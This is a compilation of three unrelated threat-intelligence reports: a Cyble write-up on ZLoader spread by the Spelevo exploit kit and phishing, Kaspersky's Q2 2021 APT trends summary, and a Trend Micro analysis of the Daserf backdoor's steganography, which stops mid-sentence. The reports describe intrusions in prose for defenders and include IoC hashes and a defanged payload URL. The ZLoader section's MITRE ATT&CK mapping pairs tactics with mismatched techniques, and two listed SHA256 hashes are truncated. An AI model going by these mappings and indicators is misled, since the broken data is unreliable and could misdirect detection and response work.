# ZLoader Returns Through Spelevo Exploit Kit & Phishing Campaign April 19, 2021 Exploit kits (EKs) dominated the cybersecurity industry in 2018 and 2019. These kits were the major, initial infection methods used by hackers to carry out major malware campaigns or advanced persistent threat (APT) attacks. In 2020, EKs were not considered a potential threat vector for client-side attacks because phishing attacks and other social engineering attacks emerged as the significant threat vector. Based on Cyble’s research, we have found that the recent Spelevo EK targeted the vulnerabilities in Internet Explorer and Flash Player. In the past, the Spelevo EK was found to be delivering payloads such as Ursnif and Qakbot. In a recent campaign in March 2021, we observed the same EK delivering ZLoader payload files. The Spelevo EK campaign was seen to be targeting US users with the flash vulnerability. The initial findings can be attributed to Malware Traffic Analysis. After successful redirection to the landing page, the malicious flash file is dropped on the victim machine based on client vulnerability. Upon execution of the malicious flash file, it drops and executes the ZLoader payload on the victim’s machine. After exploitation, Spelevo EK redirects the user to google.com, typically after a 60-seconds delay. ## Spear phishing delivers ZLoader: ZLoader also targets users through phishing campaigns with maliciously crafted MS Office attachments. We discovered this campaign to be circulating as a compensation claim. Upon execution of the malicious macro, it downloads and executes the payload on the victim machine. The attachment also displays a Security Warning that urges the user to enable macros. ### Technical analysis of the payload: The payload file that we have analysed is: SHA256: “9ef6c5467fd80274e6a37e2883a5e83a894cf2148ce37bf0adb1e884acbc4c0b”. It is a VC compiled malware COM DLL file with multiple exports. ZLoader has many anti-debugging, evasion techniques and does process injection. The malware uses other techniques such as custom encrypted network communication and Domain Generating Algorithm (DGA) for command-and-control (C&C) domains. ZLoader is a notable variant of the Zeus banking malware which was identified in 2006. This banking malware typically targets users to steal credentials and other sensitive financial information. Finally, with these stolen credentials, threat actors can perform illicit financial transactions from the victim’s banking account by logging into their devices. It has been observed that after a few months’ break, the same malware campaign reappears with different Tactics, Techniques, and Procedures (TTPs). Cyble will continue to track these new malware activities to collect advanced threat intelligence related to the campaign. ### MITRE ATT&CK: - **Initial Access**: Phishing: Spearphishing Attachment - **Persistence**: DLL Side-Loading - **Privilege Escalation**: Process Injection - **Defense Evasion**: Masquerading - **Credential Access**: Input Capture - **Discovery**: Security Software Discovery - **Collection**: Input Capture - **Command and Control**: Encrypted Channel - **Driver-by Compromise**: DLL Side-Loading - **Obfuscated Files or Information**: System Information Discovery - **DLL Side-Loading**: File and Directory Discovery ### Indicators of Compromise (IoCs): - SHA256 - f8ba1699d9c63a2bcdb4fe48cd229074e2ab87512891d6c6adff6bd838847c11 - f5493ea3f2e6b61670be5ec8fcf6951f425476db2a5fe8c18ecd07ee7 - fbc4ff74fc7ee03fd3c451b6f20a820cb7bea5dbef4efa19aa567f6bfae58d48 - 9ef6c5467fd80274e6a37e2883a5e83a894cf2148ce37bf0adb1e884acbc4c0b - ce9d8545eb14f98f81526457b784ada2e37057dae2d74f625e47b4e - hxxp://195.123.208[.]172/44300,5396033565[.]dat/ - 31f81d3319ad104bcd6afcc114c5d2de073af83feb5db8f187af79a09d930599 ### Our Recommendations: - Block the IoCs shared above. - We encourage our customers to conduct investigations and implement proactive measures for identifying previous campaigns and preventing future ones that may target their systems. - Use strong passwords and enforce multi-factor authentication wherever possible. - Turn on the automatic software update feature on your computer, mobile, and other connected devices wherever possible and pragmatic. - Use a reputed anti-virus and Internet security software package on your connected devices, including PC, laptop, and mobile. - People concerned about their exposure in the Dark web can register at AmiBreached.com to ascertain their exposure. - Refrain from opening untrusted links and email attachments without verifying their authenticity. ### About Cyble: Cyble is a global threat intelligence SaaS provider that helps enterprises protect themselves from cybercrimes and exposure in the dark web. Cyble’s prime focus is to provide organizations with real-time visibility into their digital risk footprint. Backed by Y Combinator as part of the 2021 winter cohort, Cyble has also been recognized by Forbes as one of the top 20 Best Cybersecurity Startups To Watch In 2020. Headquartered in Alpharetta, Georgia, and with offices in Australia, Singapore, and India, Cyble has a global presence.
# APT Trends Report Q2 2021 ## Authors GReAT For more than four years, the Global Research and Analysis Team (GReAT) at Kaspersky has been publishing quarterly summaries of advanced persistent threat (APT) activity. The summaries are based on our threat intelligence research and provide a representative snapshot of what we have published and discussed in greater detail in our private APT reports. They are designed to highlight the significant events and findings that we feel people should be aware of. This is our latest installment, focusing on activities that we observed during Q2 2021. Readers who would like to learn more about our intelligence reports or request more information on a specific report are encouraged to contact [email protected]. ## The Most Remarkable Findings Investigating the recent Microsoft Exchange vulnerabilities, we and our colleagues from AMR found an attacker deploying a previously unknown backdoor, “FourteenHi”, in a campaign that we dubbed ExCone, active since mid-March. During our investigation, we revealed multiple tools and variants of FourteenHi, configured with infrastructure that FireEye reported as being related to the UNC2643 activity cluster. Moreover, we saw ShadowPad detections coincide with FourteenHi variant infections, possibly hinting at a shared operator between these two malware families. FourteenHi abuses the popular VLC media player to execute its loader. It is capable of performing basic backdoor functions. Further investigation also revealed scripts used by the actor to gain situational awareness post-exploitation, as well as previous use of the infrastructure to operate Cobalt Strike Beacon. Although we couldn’t directly attribute this activity to any known threat actor, we found older, highly similar 64-bit samples of the backdoor used in close proximity with ShadowPad malware, mostly known for its operations involving supply-chain attacks as an infection vector. Notably, we also found one C2 IP used in a 64-bit sample reportedly used in the UNC2643 activity set, associated with the HAFNIUM threat actor, also using Cobalt Strike, DLL side-loading, and exploiting the same Exchange vulnerabilities. ### Russian-speaking Activity On May 27 and 28, details regarding an ongoing email campaign against diplomatic entities throughout Europe and North America were released by Volexity and Microsoft. These attacks were attributed to Nobelium and APT29 by Microsoft and Volexity respectively. While we were able to verify the malware and possible targeting for this cluster of activity, we haven’t been able to make a definitive assessment at this time about which threat actor is responsible, although we found ties to Kazuar. We have designated it as a new threat actor and named it “HotCousin”. The attacks began with a spear-phishing email which led to an ISO file container being stored on disk and mounted. From here, the victim was presented with a LNK file made to look like a folder within an Explorer window. If the victim double-clicked on it, the LNK then executed a loader written in .NET referred to as BoomBox, or a DLL. The execution chain ultimately ended with a Cobalt Strike beacon payload being loaded into memory. According to public blogs, targeting was widespread but focused primarily on diplomatic entities throughout Europe and North America: based on the content of the lure documents bundled with the malware, this assessment appears to be accurate. This cluster of activity was conducted methodically beginning in January with selective targeting and slow operational pace, then ramping up and ending in May. There are indications of previous activity from this threat actor dating back to at least October 2020, based on other Cobalt Strike payloads and loaders bearing similar toolmarks. ### Chinese-speaking Activity While investigating a recent rise of attacks against Exchange servers, we noticed a recurring cluster of activity that appeared in several distinct compromised networks. This cluster stood out because it used a formerly unknown Windows kernel mode rootkit and a sophisticated multi-stage malware framework aimed at providing remote control over the attacked servers. The former is used to hide the user mode malware’s artifacts from investigators and security solutions, while demonstrating an interesting loading scheme involving the kernel mode component of an open-source project named “Cheat Engine” to bypass the Windows Driver Signature Enforcement mechanism. We were able to determine that this toolset had been in use from as early as July 2020; and that the threat actor was mostly focused on Southeast Asian targets, including several governmental entities and telecoms companies. Since this was a long-standing operation, with high-profile victims, an advanced toolset, and no affinity to a known threat actor, we decided to name the underlying cluster “GhostEmperor”. APT31 (aka ZIRCONIUM) is a Chinese-speaking intrusion set. This threat actor set up an ORB (Operational Relay Boxes) infrastructure, composed of several compromised SOHO routers, to target entities based in Europe (and perhaps elsewhere). As of the publication of our report in May, we had seen these ORBs used to relay Cobalt Strike communications and for anonymization proxying purposes. It is likely that APT31 uses them for other implants and ends as well (for example, exploit or malware staging). Most of the infrastructure put in place by APT31 comprises compromised Pakedge routers (RK1, RE1, and RE2). This little-known constructor specializes in small enterprise routers and network devices. So far, we don’t know which specific vulnerability has been exploited by the intrusion set to compromise the routers. Nor do we currently possess telemetry that would provide further visibility into this campaign. We will, of course, continue to track these activities. Following our previous report on EdwardsPheasant, DomainTools and BitDefender published articles about malicious activities against targets in Southeast Asia which we believe, with medium to high confidence, are parts of EdwardsPheasant campaigns. While tracking the activities of this threat actor, analyzing samples discovered or provided by third parties, and investigating from public IoCs, we discovered an updated DropPhone implant, an additional implant loaded by FoundCore’s shellcode, several possible new infection documents and malicious domain names, as well as additional targets. While we do not believe we have a complete picture of this set of activities yet, our report this quarter marks a significant step further in understanding its extent. A Chinese-speaking APT compromised a certificate authority in Mongolia and replaced digital certificate management client software with a malicious downloader in February. We are tracking this group as BountyGlad. Related infrastructure was identified and used in multiple other incidents: interesting related activity included server-side attacks on WebSphere and WebLogic services in Hong Kong; and on the client-side, Trojanized Flash Player installers. The group demonstrated an increase in strategic sophistication with this supply-chain attack. While replacing a legitimate installer on a high-value website like a certificate authority requires a medium level of skill and coordination, the technical sophistication is not on par with ShadowHammer. And while the group deploys fairly interesting, but simplistic, steganography to cloak its shellcode, we think it was probably generated with code that has been publicly available for years. Previous activity also connected with this group relied heavily on spear-phishing and Cobalt Strike throughout 2020. Some activity involved PowerShell commands and loader variants different from the downloaders presented in our recent report. In addition to spear-phishing, the group appears to rely on publicly available exploits to penetrate unpatched target systems. They use implants and C2 (Command and Control) code that are a mix of both publicly available and privately shared across multiple Chinese-speaking APTs. We are able to connect infrastructure across multiple incidents. Some of those were focused on Western targets in 2020. Some of the infrastructure listed in an FBI Flash alert published in May 2020, targeting US organizations conducting COVID-19 research, was also used by BountyGlad. While investigating users infected with the TPCon backdoor, previously discussed in a private report, we detected loaders which are part of a new multi-plugin malware framework that we named “QSC”, which allows attackers to load and run plugins in-memory. We attribute the use of this framework to Chinese-speaking groups, based on some overlaps in victimology and infrastructure with other known tools used by these groups. We have so far observed the malware loading a Command shell and File Manager plugins in-memory. We believe the framework has been used in the wild since April 2020, based on the compilation timestamp of the oldest sample found. However, our telemetry suggests that the framework is still in use: the latest activity we detected was in March this year. Earlier this month, Rostelecom Solar and NCIRCC issued a joint public report describing a series of attacks against networks of government entities in Russia. The report described a formerly unknown actor leveraging an infection chain that leads to the deployment of two implants – WebDav-O and Mail-O. Those, in conjunction with other post-exploitation activity, have led to network-wide infections in the targeted organizations that resulted in exfiltration of sensitive data. We were able to trace the WebDav-O implant’s activity in our telemetry to at least 2018, indicating government-affiliated targets based in Belarus. Based on our investigation, we were able to find additional variants of the malware and observe some of the commands executed by the attackers on the compromised machines. We discovered a cluster of activity targeting telecom operators within a specific region. The bulk of this activity took place from May to October 2020. This activity made use of several malware families and tools; but the infrastructure, a staging directory, and in-country target profiles tie them together. The actors deployed a previously unknown passive backdoor, that we call “TPCon”, as a primary implant. It was later used to perform both reconnaissance within target organizations and to deploy a post-compromise toolset made up mostly of publicly available tools. We also found other previously unknown active backdoors, that we call “evsroin”, used as secondary implants. Another interesting find was a related loader (found in a staging directory) that loaded a KABA1 implant variant. KABA1 was an implant used against targets throughout the South China Sea that we attributed to the Naikon APT back in 2016. On another note, on the affected hosts we found additional multiple malware families shared by Chinese-speaking actors, such as ShadowPad and Quarian backdoors. These did not seem to be directly connected to the TPCon/evsroin incidents because the supporting infrastructure appeared to be completely separate. One of the ShadowPad samples appears to have been detected in 2020, while the others were detected well before that, in 2019. Besides the Naikon tie, we found some overlaps with previously reported IceFog and IamTheKing activities. ### Middle East BlackShadow is a threat group that became known after exfiltrating sensitive documents from Shirbit, an Israeli insurance company, and demanding a ransom in exchange for not releasing the information in its possession. Since then, the group has made more headlines, breaching another company in Israel and publishing a trove of documents containing customer-related information on Telegram. Following this, we found several samples of the group’s unique .NET backdoor in our telemetry that were formerly unknown to us, one of which was recently detected in Saudi Arabia. By pivoting on new infrastructure indicators that we observed in those samples, we were able to find a particular C2 server that was contacted by a malicious Android implant and shows ties to the group’s activity. We previously covered a WildPressure campaign against targets in the Middle East. Keeping track of the threat actor’s malware this spring, we were able to find a newer version (1.6.1) of their C++ Trojan, a corresponding VBScript variant with the same version and a completely new set of modules, including an orchestrator and three plugins. This confirms our previous assumption that there are more last-stagers besides the C++ ones, based on one of the fields in the C2 communication protocol which contains the “client” programming language. Another language used by WildPressure is Python. The PyInstaller module for Windows contains a script named “Guard”. Perhaps the most interesting finding here is that this malware was developed for both Windows and macOS operating systems. In this case, the hardcoded version is 2.2.1. The coding style, overall design, and C2 communication protocol is quite recognizable across all programming languages used by the attackers. The malware used by WildPressure is still under active development in terms of versions and programming languages in use. Although we could not associate WildPressure’s activity with other threat actors, we did find minor similarities in the TTPs (Tactics, Techniques, and Procedures) used by BlackShadow, which is also active in the same region. However, we consider that these similarities serve as minor ties and are not enough to make any attribution. We discovered an ongoing campaign that we attribute to an actor named WIRTE, beginning in late 2019, targeting multiple sectors, focused on the Middle East. WIRTE is a lesser-known threat actor first publicly referenced in 2019, which we suspect has relations with the Gaza Cybergang threat actor group. During our hunting efforts, in February, for threat actor groups that are using VBS/VBA implants, we came across MS Excel droppers that use hidden spreadsheets and VBA macros to drop their first stage implant – a VBS script. The VBS script’s main function is to collect system information and execute arbitrary code sent by the attackers. Although we recently reported on a new Muddywater first stage VBS implant used for reconnaissance and profiling activities, these intrusion sets have slightly different TTPs and wider targeting. To date, we have recorded victims focused in the Middle East and a few other countries outside this region. Despite various industries being affected, the focus was mainly towards government and diplomatic entities; however, we also noticed an unusual targeting of law firms. GoldenJackal is the name we have given to a cluster of activity, recently discovered in our telemetry, that has been active since November 2019. This intrusion set consists of a set of .NET-based implants that are intended to control victim machines and exfiltrate certain files from them, suggesting that the actor’s primary motivation is espionage. Furthermore, the implants were found in a restricted set of machines associated with diplomatic entities in the Middle East. Analysis of the aforementioned malware, as well as the accompanied detection logs, portray a capable and moderately stealthy actor. This can be substantiated by the successful foothold gained by the underlying actor in the few organizations we came across, all the while keeping a low signature and ambiguous footprint. ### Southeast Asia and Korean Peninsula The ScarCruft group is a geo-political motivated APT group that usually attacks government entities, diplomats, and individuals associated with North Korean affairs. Following our last report about this group, we had not seen its activities for almost a year. However, we observed that ScarCruft compromised a North Korea-related news media website in January, beginning a campaign that was active until March. The attackers utilized the same exploit chains, CVE-2020-1380 and CVE-2020-0986, also used in Operation Powerfall. Based on the exploit code and infection scheme characteristics, we suspect that Operation PowerFall has a connection with the ScarCruft group. The exploit chain contains several stages of shellcode execution, finally deploying a Windows executable payload in memory. We discovered several victims from South Korea and Singapore. Besides this watering-hole attack, this group also used Windows executable malware concealing its payload. This malware, dubbed “ATTACK-SYSTEM”, also used multi-stage shellcode infection to deliver the same final payload named “BlueLight”. BlueLight uses OneDrive for C2. Historically, ScarCruft malware, especially RokRat, took advantage of personal cloud servers as C2 servers, such as pCloud, Box, Dropbox, and Yandex. In May 2020, the Criminal Investigation Bureau (CIB) of Taiwan published an announcement about an attack targeting Taiwanese legislators. Based on their information, an unknown attacker sent spear-phishing emails using a fake presidential palace email account, delivering malware we dubbed “Palwan”. Palwan is malware capable of performing basic backdoor functionality as well as downloading further modules with additional capabilities. Analyzing the malware, we discovered another campaign, active in parallel, targeting Nepal. We also found two more waves of attacks launched against Nepal in October 2020 and in January this year using Palwan malware variants. We suspect that the targeted sector in Nepal is similar to the one reported by the CIB of Taiwan. Investigating the infrastructure used in the Nepal campaigns, we spotted an overlap with Dropping Elephant activity. However, we don’t deem this overlap sufficient to attribute this activity to the Dropping Elephant threat actor. BlueNoroff is a long-standing, financially motivated APT group that has been targeting the financial industry for years. In recent operations, the group has focused on cryptocurrency businesses. Since the publication of our research of BlueNoroff’s “SnatchCrypto” campaign in 2020, the group’s strategy to deliver malware has evolved. In this campaign, BlueNoroff used a malicious Word document exploiting CVE-2017-0199, a remote template injection vulnerability. The injected template contains a Visual Basic script, which is responsible for decoding the next payload from the initial Word document and injecting it into a legitimate process. The injected payload creates a persistent backdoor on the victim’s machine. We observed several types of backdoor. For further surveillance of the victim, the malware operator may also deploy additional tools. BlueNoroff has notably set up fake blockchain, or cryptocurrency-related, company websites for this campaign, to lure potential victims and initiate the infection process. Numerous decoy documents were used, which contain business and nondisclosure agreements as well as business introductions. When compared to the previous SnatchCrypto campaign, the BlueNoroff group utilized a similar backdoor and PowerShell agent but changed the initial infection vector. Windows shortcut files attached to spear-phishing emails used to be the starting point for an infection: they have now been replaced by weaponized Word documents. We have discovered Andariel activity using a revised infection scheme and custom ransomware targeting a broad spectrum of industries located in South Korea. In April, we observed a suspicious document containing a Korean file name and decoy uploaded to VirusTotal. It revealed a novel infection scheme and an unfamiliar payload. During the course of our research, Malwarebytes published a report with technical details about the same series of attacks, which attributed it to the Lazarus group. After a deep analysis, we reached a different conclusion – that the Andariel group was behind these attacks. Code overlaps between the second stage payload in this campaign and previous malware from the Andariel group allowed for this attribution. Apart from the code similarity and the victimology, we found additional connections with the Andariel group. Each threat actor has a characteristic habit when they interactively work with a backdoor shell in the post-exploitation phase. The way Windows commands and their options were used in this campaign is almost identical to previous Andariel activity. The threat actor has been spreading the third stage payload since the middle of 2020 and leveraged malicious Word documents and files mimicking PDF documents as infection vectors. Notably, in addition to the final backdoor, we discovered one victim infected with custom ransomware. This ransomware adds another facet to this Andariel campaign, which also sought financial profit in a previous operation involving the compromise of ATMs. We recently uncovered a large-scale and highly active attack in Southeast Asia coming from a threat actor we dubbed LuminousMoth. Further analysis revealed that this malicious activity dates back to October 2020 and was still ongoing at the time we reported it in June. LuminousMoth takes advantage of DLL sideloading to download and execute a Cobalt Strike payload. However, perhaps the most interesting part of this attack is its capability to spread to other hosts by infecting USB drives. In addition to the malicious DLLs, the attackers also deployed a signed, but fake version of the popular application Zoom on some infected systems, enabling them to exfiltrate files; and an additional tool that accesses a victim’s Gmail session by stealing cookies from the Chrome browser. Infrastructure ties as well as shared TTPs allude to a possible connection between LuminousMoth and the HoneyMyte threat group, which was seen targeting the same region and using similar tools in the past. Most early sightings of this activity were in Myanmar, but it now appears that the attackers are much more active in the Philippines, where the number of known attacks has grown more than tenfold. This raises the question of whether this is caused by a rapid replication through removable devices or by an unknown infection vector, such as a watering-hole focusing on the Philippines. We recently reported SideCopy campaigns attacking the Windows platform together with Android-based implants. These implants turned out to be multiple applications working as information stealers to collect sensitive information from victims’ devices, such as contact lists, SMS messages, call recordings, media, and other types of data. Following up, we discovered additional malicious Android applications, some of them purporting to be known messaging apps like Signal or an adult chat platform. These newly discovered applications use the Firebase messaging service as a channel to receive commands. The operator is able to control if either Dropbox or another, hard-coded server is used to exfiltrate stolen files. ## Other Interesting Discoveries Expanding our research on the exploit targeting CVE-2021-1732, originally discovered by DBAPPSecurity Threat Intelligence Center and used by the Bitter APT group, we discovered another possible zero-day exploit used in the Asia-Pacific (APAC) region. Interestingly, the exploit was found in the wild as part of a separate framework, alongside CVE-2021-1732 as well as other previously patched exploits. We are highly confident that this framework is entirely unrelated to Bitter APT and was used by a different threat actor. Further analysis revealed that this Escalation of Privilege (EoP) exploit has potentially been used in the wild since at least November 2020. Upon discovery, we reported this new exploit to Microsoft in February. After confirmation that we were indeed dealing with a new zero-day, it received the designation CVE-2021-28310. Various marks and artifacts left in the exploit mean that we are also highly confident that CVE-2021-1732 and CVE-2021-28310 were created by the same exploit developer that we track as “Moses”. “Moses” appears to be an exploit developer who makes exploits available to several threat actors, based on other past exploits and the actors observed using them. To date, we have confirmed that at least two known threat actors have utilized exploits originally developed by Moses: Bitter APT and Dark Hotel. Based on similar marks and artifacts, as well as privately obtained information from third parties, we believe at least six vulnerabilities observed in the wild in the last two years have originated from “Moses”. While the EoP exploit was discovered in the wild, we are currently unable to directly tie its usage to any known threat actor that we are currently tracking. The EoP exploit was probably chained together with other browser exploits to escape sandboxes and obtain system-level privileges for further access. Unfortunately, we weren’t able to capture a full exploit chain, so we don’t know if the exploit is used with another browser zero-day, or coupled with exploits taking advantage of known, patched vulnerabilities. In another, more recent investigation into the surge of attacks by APT actors against Exchange servers following the revelation of ProxyLogon and other Exchange vulnerabilities, we took note of one unique cluster of activity. It attracted our attention because the actor behind it seemed to have been active in compromising Exchange servers since at least December 2020, all the while using a toolset that we were not able to associate with any known threat group. During March, several waves of attacks on Exchange servers were made public, partially describing the same cluster of activity that we had observed. One of them, reported by ESET, contained an assessment that the actor behind this activity had access to the Exchange exploits prior to their public release, which aligns with our observations of the early activity of it last year. That said, none of the public accounts described sightings of the full infection chain and later stages of malware deployed as part of this group’s operation. Adopting the name Websiic, given publicly to this cluster of activity by ESET, we reported the TTPs of the underlying threat actor. Namely, we focused on the usage of both commodity tools like the China Chopper webshell and a proprietary .NET backdoor used by the group, which we dubbed “Samurai”, as well as describing a broader set of targets than the one documented thus far. On 15 April, Codecov publicly disclosed that its Bash Uploader script had been compromised and was distributed to users between the 31 January and the 1 April. The Bash Uploader script is publicly distributed by Codecov and aims to gather information on the user’s execution environments, collect code coverage reports, and send them to the Codecov infrastructure. As a result, this script compromise effectively constitutes a supply-chain attack. The Bash uploader script is typically executed as a trusted resource in development and testing environments (including as part of automated build processes, such as continuous integration or development pipelines); and its compromise could enable malicious access to infrastructure or account secrets, as well as code repositories and source code. While we haven’t been able to confirm the malicious script deployment, retrieve any information on the compromise goals, or identify further associated malicious tools yet, we were able to collect one sample of a compromised Bash uploader script, as well as identify some possibly associated additional malicious servers. An e-mail sent by Click Studios to its customers on 22 April informed them that a sophisticated threat actor had gained access to the Passwordstate automatic updating functionality, referred to as the in-place upgrade. Passwordstate is a password management tool for enterprises, and on 20 April, for a period of about 28 hours, a malicious DLL was included in the software updates. On 24 April, an incident management advisory was also released. The purpose of the campaign was to steal passwords stored in the password manager. Although this attack was only active for a short time, we managed to obtain the malicious DLLs and reported our initial findings. Nevertheless, it’s still unclear how the attackers gained access to the Passwordstate software to begin with. Following a new advisory published by Click Studio on 28 April, we discovered a new variant of the malicious DLL used to backdoor the Passwordstate password manager. This DLL variant was distributed in a phishing campaign, most likely by the same actor. A few days after April’s Patch Tuesday updates from Microsoft (13 April), a number of suspicious files caught our attention. These files were binaries, disguised as “April 2021 Security Update Installers”. They were signed with a valid digital signature, delivering Cobalt Strike beacon modules. It is likely that the modules were signed with a stolen digital certificate. These Cobalt Strike beacon implants were configured with a hardcoded C2, “code.microsoft.com”. Contrary to a (now redacted) publication from the Qihoo 360 team revolving around this activity, we can confirm that there was no compromise of Microsoft’s infrastructure. In fact, an unauthorized party took over the dangling subdomain “code.microsoft.com” and configured it to resolve to their Cobalt Strike host, setup around 15 April. That domain hosted a Cobalt Strike beacon payload served to HTTP clients using a specific and unique user agent. According to Microsoft and the initial Qihoo notification, the impact in this case was very limited and didn’t affect unsuspecting visitors to this website because of the required unique user agent. On April 14-15, Kaspersky technologies detected a wave of highly targeted attacks against multiple companies. Closer analysis revealed that all these attacks exploited a chain of Google Chrome and Microsoft Windows zero-day exploits. While we were not able to retrieve the exploit used for Remote Code Execution (RCE) in the Chrome web-browser, we were able to find and analyze an Escalation of Privilege (EoP) exploit used to escape the sandbox and obtain system privileges. The EoP exploit was fine-tuned to work against the latest and the most prominent builds of Windows 10 (17763 – RS5, 18362 – 19H1, 18363 – 19H2, 19041 – 20H1, 19042 – 20H2) and it exploits two distinct vulnerabilities in the Microsoft Windows OS kernel. On April 20, we reported these vulnerabilities to Microsoft and they assigned CVE-2021-31955 to the Information Disclosure vulnerability and CVE-2021-31956 to the EoP vulnerability. Both vulnerabilities were patched on June 8, as a part of the June Patch Tuesday. The exploit-chain attempts to install malware in the system through a dropper. The malware starts as a system service and loads the payload, a “remote shell”-style backdoor which in turn connects to the C2 to get commands. So far, we haven’t been able to find any connections or overlaps with a known actor. Therefore, we are tentatively calling this cluster of activity PuzzleMaker. On April 16, we began hearing rumors about active exploitation of Pulse Secure devices from other researchers in the community. One day prior to this, the NSA, CISA, and FBI had jointly published an advisory stating that APT29 was conducting widespread scanning and exploitation of vulnerable systems, including Pulse Secure. For this reason, initial thoughts were that the two were related; and these were just rumors circulating the community about old activity that was being brought to light again. Following this, we were able to at least confirm that the initial rumors were part of a separate set of activities that had occurred between January and March and were not directly related to the advisory mentioned above. This new activity involved the exploitation of at least two vulnerabilities in Pulse Secure; one previously patched and one zero-day (CVE-2021-22893). We also became aware of affected organizations that were notified by a third party that they were potentially compromised by this activity. After exploitation, the threat actor proceeded to deploy a simple webshell to maintain persistence. On May 3, Pulse Secure delivered “out-of-cycle” update and workaround packages to provide a solution for the multiple vulnerabilities. Cooperating with Check Point Research, we discovered an ongoing attack targeting a small group of individuals in Xinjiang and Pakistan, in regions mostly populated by the Uyghur minority. The attackers used malicious executables that collect information about the infected system and attempt to download a second-stage payload. The actor put considerable effort into disguising the payloads, whether by creating delivery documents that appear to be originating from the United Nations using up-to-date related themes, or by setting up websites for non-existing organizations claiming to fund charity groups. In our report, we examined the flow of both infection vectors and provided our analysis of the malicious artifacts we came across during this investigation, even though we were unable to obtain the later stages of the infection chain. ## Final Thoughts While the TTPs of some threat actors remain consistent over time, relying heavily on social engineering as a means of gaining a foothold in a target organization or compromising an individual’s device, others refresh their toolsets and extend the scope of their activities. Our regular quarterly reviews are intended to highlight the key developments of APT groups. Here are the main trends that we’ve seen in Q2 2021: - We have reported several supply-chain attacks in recent months. While some were major and have attracted worldwide attention, we observed equally successful low-tech attacks, such as BountyGlad, CoughingDown, and the attack targeting Codecov. - APT groups mainly use social engineering to gain an initial foothold in a target network. However, we’ve seen a rise in APT threat actors leveraging exploits to gain that initial foothold – including the zero-days developed by the exploit developer we call “Moses” and those used in the PuzzleMaker, Pulse Secure attacks, and the Exchange server vulnerabilities. - APT threat actors typically refresh and update their toolsets: this includes not only the inclusion of new platforms but also the use of additional languages as seen by WildPressure’s macOS-supported Python malware. - As illustrated by the campaigns of various threat actors – including BountyGlad, HotCousin, GoldenJackal, ScarCruft, Palwan, Pulse Secure, and the threat actor behind the WebDav-O/Mail-O implants – geo-politics continues to drive APT developments.
# REDBALDKNIGHT’s Daserf Backdoor Now Uses Steganography November 7, 2017 APT & Targeted Attacks REDBALDKNIGHT a.k.a BRONZE BUTLER cyberespionage group employs the Daserf backdoor in campaigns. We found that Daserf was not only used on Japanese targets, but also against other countries. We also found versions of Daserf that use steganography. REDBALDKNIGHT, also known as BRONZE BUTLER and Tick, is a cyberespionage group known to target Japanese organizations such as government agencies (including defense) as well as those in biotechnology, electronics manufacturing, and industrial chemistry. Their campaigns employ the Daserf backdoor (detected by Trend Micro as BKDR_DASERF, otherwise known as Muirim and Nioupale) that has four main capabilities: execute shell commands, download and upload data, take screenshots, and log keystrokes. Our recent telemetry, however, indicates that variants of Daserf were not only used to spy on and steal from Japanese and South Korean targets, but also against Russian, Singaporean, and Chinese enterprises. We also found various versions of Daserf that employ different techniques and use steganography—embedding codes in unexpected mediums or locations (i.e., images)—to conceal themselves better. Like many cyberespionage campaigns, REDBALDKNIGHT’s attacks are intermittent but drawn-out. In fact, REDBALDKNIGHT has been zeroing in on Japanese organizations as early as 2008—at least based on the file properties of the decoy documents they’ve been sending to their targets. The specificity of their targets stems from the social engineering tactics used. The decoy documents they use in their attack chain are written in fluent Japanese, and particularly, created via the Japanese word processor Ichitaro. One of the decoy documents, for instance, was about the “plan of disaster prevention in heisei 20” (Heisei is the current/modern era in Japan). ## Attack Chain REDBALDKNIGHT’s attacks typically use spear phishing emails as an entry point. Their attachments exploit a vulnerability in Ichitaro. These are decoy documents, often used by cyberespionage groups as a distraction while they execute their malware behind the scenes using lures such as “CPR” and “disaster prevention.” Daserf will be installed and launched on the affected machine once the victim opens the document. Daserf wasn’t well-known until security researchers publicly disclosed it last year, and whose beginnings they’ve traced as far back as 2011. Based on the hardcoded version number they divulged (Version:1.15.11.26TB Mini), we were able to source other versions of the backdoor. ## Fine-tuning Daserf Our analyses revealed Daserf regularly undergoes technical improvements to keep itself under the radar against traditional anti-virus (AV) detection. For instance, Daserf versions 1.50Z, 1.50F, 1.50D, 1.50C, 1.50A, 1.40D, and 1.40C use encrypted Windows application programming interfaces (APIs). Version v1.40 Mini uses the MPRESS packer, which provides some degree of protection against AV detection and reverse engineering. Daserf 1.72 and later versions use the alternative base64+RC4 to encrypt the feedback data, while others use different encryption such as 1.50Z, which uses the Ceasar cipher. More notably, REDBALDKNIGHT integrated steganography to conduct second-stage, command-and-control (C&C) communication and retrieve a second-stage backdoor. This technique has been observed in Daserf v1.72 Mini and later versions. Daserf’s use of steganography not only enables the backdoor to bypass firewalls; the technique also allows the attackers to change second-stage C&C communication or backdoor faster and more conveniently. ## How REDBALDKNIGHT Employs Steganography Daserf’s infection chain accordingly evolved. It has several methods for infecting its targets of interest: spear phishing emails, watering hole attacks, and exploiting a remote code execution vulnerability (CVE-2016-7836, patched last March 2017) in SKYSEA Client View, an IT asset management software widely used in Japan. A downloader will be installed on the victim’s machine and retrieve Daserf from a compromised site. Daserf will then connect to another compromised site and download an image file (i.e., .JPG, .GIF). The image is embedded in either the encrypted backdoor configurations or hacking tool. After their decryption, Daserf will connect to its C&C and await further commands. Daserf 1.72 and later versions incorporate steganographic techniques. REDBALDKNIGHT’s use of steganography isn’t limited to Daserf. We also found two of their toolkits employing the same technique—xxmm2_builder and xxmm2_steganography. Based on their pdb strings, they’re both components of another REDBALDKNIGHT-related threat, XXMM (TROJ_KVNDM), a downloader Trojan that can also act as a first-stage backdoor with its capability to open a shell. While xxmm2_builder allows REDBALDKNIGHT to customize the settings of XXMM, xxmm2_steganography is used to hide malicious code within an image file. REDBALDKNIGHT’s tool can create, embed, and hide executables or configuration files within the image file with its tag and encrypted strings via steganography. An encrypted string can be an executable file or a URL. A threat actor will use/upload an existing image that the builder then injects with steganographic code. Additionally, we also found that the steganography algorithm (alternative base64 + RC4) between XXMM and Daserf were the same. ## Mitigation Steganography is a particularly useful technique in purposeful cyberattacks: the longer their malicious activities stay undetected, the more they can steal and exfiltrate data. And indeed, the routine is increasingly gaining cybercriminal traction, in varying degrees of proficiency—from exploit kits, malvertising campaigns, banking Trojans, and C&C communication to even ransomware. In the case of REDBALDKNIGHT’s campaigns, the use of steganography is further compounded by their use of malware that can better evade detection and analysis. REDBALDKNIGHT’s continuous campaigns—along with their diversity and scope—highlight the importance of defense in depth. Organizations can mitigate these threats by enforcing the principle of least privilege to reduce their opportunities for lateral movement significantly. Network segmentation and data categorization help in this regard. Mechanisms like access control and blacklisting as well as intrusion detection and prevention 